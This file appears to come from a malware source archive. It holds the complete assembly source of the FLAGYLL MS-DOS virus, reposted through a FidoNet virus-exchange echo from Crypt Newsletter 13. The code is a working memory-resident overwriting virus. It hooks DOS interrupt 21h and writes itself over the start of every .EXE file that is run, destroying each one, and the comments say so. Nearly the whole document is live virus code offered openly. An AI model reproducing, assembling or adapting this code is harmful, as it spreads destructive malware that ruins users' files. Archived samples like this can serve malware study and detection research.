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MalwareSourceCode/MSDOS/V-Index/Virus.MSDOS.Unknown.vir46.asm

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NASM
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2022-08-21 09:07:57 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 36 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : FLAGYLL.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Gilbert Holleman, 2:283/718 (06 Nov 94 17:38)
;* To : Bill Dirks
;* Subj : FLAGYLL.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Gilbert.Holleman@f718.n283.z2.fidonet.org
;FLAGYLL virus - edited for Crypt Newsletter 13
;FLAGYLL is a memory resident, overwriting virus which
;infects and destroys .EXE files on load.
;It updates the infected files time/date stamps to the time of
;infection so it can easily be followed.
;.EXE's infected by FLAGYLL are destroyed. DOS will either
;refuse to load them or FLAGYLL will become resident
;as they execute. These programs are ruined and can only
;be deleted. Because it is so destructive to files, FLAGYLL cannnot
;pose a threat in the wild, and in this respect, it is much
;inferior to the SUSAN virus included in this issue.
.radix 16
cseg segment
model small
assume cs:cseg, ds:cseg, es:cseg
org 100h
oi21 equ endflagyll
filelength equ endflagyll - begin
nameptr equ endflagyll+4
DTA equ endflagyll+8
begin: jmp install_flagyll
; install
install_flagyll:
mov ax,cs ; reduce memory size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],5a ; check if last memory
jne cancel ; block
mov ax,ds:[0003]
sub ax,100 ; decrease memory
mov ds:0003,ax
copy_flagyll:
mov bx,ax ; copy to claimed block
mov ax,es ; PSP
add ax,bx ; virus start in memory
mov es,ax
mov cx,offset endflagyll - begin ; cx = length of virus
mov ax,ds ; restore ds
inc ax
mov ds,ax
lea si,ds:[begin] ; point to start of virus
lea di,es:0100 ; point to destination
rep movsb ; copy virus in memory
hook_21:
mov ds,cx ; hook interrupt 21h
mov si,0084h ;
mov di,offset oi21
mov dx,offset check_exec
lodsw
cmp ax,dx ;
je cancel ; exit, if already installed
stosw
movsw
push es
pop ds
mov ax,2521h ; revector int 21h to virus
int 21h
cancel: ret
check_exec: ; look over loaded files
pushf ; for executables
push es ; push everything onto the
push ds ; stack
push ax
push bx
push dx
cmp ax,04B00h ; is a file being
; executed ?
jne abort ; no, exit
do_infect:
call infect ; then try to infect
abort: ; restore everything
pop dx
pop bx
pop ax
pop ds
pop es
popf
exit:
; exit
jmp dword ptr cs:[oi21]
infect:
jmp over_id ; it's a vanity thing
note: db '-=[Crypt Newsletter 13]=-'
over_id:
mov cs:[name_seg],ds ; this routine
mov cs:[name_off],dx ; essentially grabs
; the name of the file
cld ; clear direction flags
mov word ptr cs:[nameptr],dx ; save pointer to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ; get old DTA
int 21h
push es
push bx
push cs ; set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21h
call host_ident ; find filename for virus
push di
mov si,offset COM_txt ; is extension 'COM' ?
mov cx,3
rep cmpsb
pop di
jz return ; if so, let it pass by
mov si,offset EXE_txt ; is extension .EXE ?
nop
mov cl,3
rep cmpsb
jnz return
do_exe: ; infect host, destroying it
mov ax,4300h ; clear attributes
mov ds,cs:[name_seg]
mov dx,cs:[name_off]
int 21h
and cl,0FEh
mov ax,4301h
int 21h
mov ds,cs:[name_seg] ; open file read/write
mov dx,cs:[name_off]
mov ax,3D02h
int 21h
jc close_file
push cs
pop ds
mov [handle],ax
mov bx,ax
push cs
pop ds
mov ax,4200h ;set pointer to beginning of host
push cs
pop ds
mov bx,[handle] ;handle to BX
xor cx,cx
xor dx,dx
int 21h
mov ah,40 ;write to file
mov cx,filelength ;virus length in cx
mov dx,100 ;start write at beginning of Flagyll
int 21h ;do it
close_file: mov bx,[handle]
mov ah,03Eh ;close file, name -->BX
int 21h
mov ax,4C00h ;exit to DOS
int 21h
return: mov ah,1Ah
pop dx ; restore old DTA
pop ds
int 21H
ret ; let DOS regain control
host_ident: les di,dword ptr cs:[nameptr] ; finds filename for
mov ch,0FFh ; host selection
mov al,0
repnz scasb
sub di,4
ret
EXE_txt db 'EXE',0 ; extension masks
COM_txt db 'COM',0 ; for host selection
name_seg dw ? ;data buffers for
name_off dw ? ; viral use on the fly
handle dw ?
note2: db 'Flagyll' ; virus name
endflagyll:
cseg ends
end begin
;-+- GEcho 1.10+
; + Origin: Poeldijk, The Netherlands, Europe, Earth (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/3 Enable 32-bit processing
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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